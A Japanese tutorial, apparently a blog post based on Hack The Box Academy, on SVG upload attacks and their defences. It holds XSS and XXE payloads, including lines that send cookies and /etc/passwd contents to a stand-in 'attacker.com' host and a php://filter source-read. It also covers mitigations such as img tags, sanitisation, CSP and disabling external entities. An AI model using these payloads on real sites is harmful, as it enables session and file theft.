SVGファイルのアップロード機能を利用した攻撃の例を試験環境で試しながら勉強してきます。
対象の画面について
対象の画面はSVGファイルを指定して「Upload」ボタンを押すとSVGファイルをアップロードする画面です。
そして、アップロードしたSVGファイルは<svg>タグにセットされてSVGファイルの中身が画面に表示sれます。(画像は正方形のSVGファイル)

正常動作
まずは【正常】青い円を表示するSVGファイルの例です。
※SVGファイルの中身
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
<circle cx="100" cy="100" r="50" fill="blue" />
</svg>

【試験】Alertを表示するScriptを仕込んだSVGファイルの例
※SVGファイルの中身
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
<circle cx="100" cy="100" r="50" fill="blue" />
<script type="text/javascript">alert("vuln");</script>
</svg>
【脆弱性がある場合】
上記ファイルをアップロードするとjavascriptが実行されてメッセージが表示されます。

他にもXSSの脆弱性があると下記のようなSVGファイルをアップすることでクッキー情報を取得される可能性もあります。
<script type="text/javascript">fetch("http://attacker.com/log?cookie=" + document.cookie);</script>
【対策1】<svg>タグを直接HTML内に記述しない
今回は冒頭説明したHTMLの通りアップロードしたSVGファイルを<svg>タグで読み込むようになっていますが、<img>タグを使うように変更するとスクリプトは読み込まれません。
<img src="safe.svg" alt="Safe SVG">
【対策2】SVGファイルのサニタイズ
サーバーサイドでアップロードされたSVGをフィルタリングし、<script>
タグを除去します。
DOMPurify などのライブラリを使用し、SVGをサニタイズすることで悪意のあるソースコードを除去できます。
【対策3】Content Security Policy (CSP) の適用
CSPを設定し、インラインスクリプトの実行を防ぐ方法が3つ目です。
Content-Security-Policy: default-src 'self'; script-src 'none';
default-src 'self'
→ すべてのコンテンツ(画像、CSS、JS など)は同じオリジン(自サイト)からのみロード可能。script-src 'self'
→ JavaScriptは自サイトのものだけ実行可能。他サイトやインラインスクリプトはブロック。
CSPとは
Content Security Policy(CSP) とは、ウェブサイトがブラウザに対して「どの種類のコンテンツをどこからロードしてよいか」を指示するセキュリティ機能です。
これにより、XSS(クロスサイトスクリプティング)攻撃やデータインジェクション攻撃を防ぐ ことができます。
CSPは HTTPレスポンスヘッダー または HTMLの<meta>
タグ を使って設定します。
ブラウザはこのポリシーに従って、スクリプトやリソースの読み込みを制限します。
上の設定を<meta>タグを使って設定した場合の例。
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
XXE
【試験】passwdファイルを読み込むSVGファイルの例
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
【脆弱性がある場合】

攻撃者が指定したサーバへpasswdの内容を送信される可能性もあります。
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!ENTITY send SYSTEM "http://attacker.com/log?data=&xxe;">
]>
<svg>&send;</svg>
サーバでPHPを実行できる場合は下記のようにファイルを加工して読むことも可能です。
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php">
【対策1】<svg>タグを直接HTML内に記述しない
XSSと同様に<img>タグを使って画像として読み込むことでリスクを低減できます。
【対策2】XMLパーサーの外部エンティティを無効化
サーバー側でXMLを解析する際に、外部エンティティの処理を禁止 する設定をします。
下記ではPHPを例に外部エンティティを無効化して読み込む方法を紹介しています。
【対策3】サーバー側でアップロードされたSVGをサニタイズ
不要なDTD宣言を削除 し、<!DOCTYPE>
を含むXMLを拒否 する方法もあります。
Pythonの例
def sanitize_svg(svg_content):
if "<!DOCTYPE" in svg_content:
return "Invalid SVG file"
return svg_content
【対策4】WAF(Web Application Firewall)を導入
XXE攻撃パターンを検知 するWAFを導入。<!DOCTYPE>
や SYSTEM
などのキーワードをブロック。
Hack The Box AcademyのFile Upload Attacks
今回の記事はHackTheBoxAcademyのFileUploadAttacksで学べることの一部です。
興味を持った方はHackTheBoxAcademyをやってみてください。

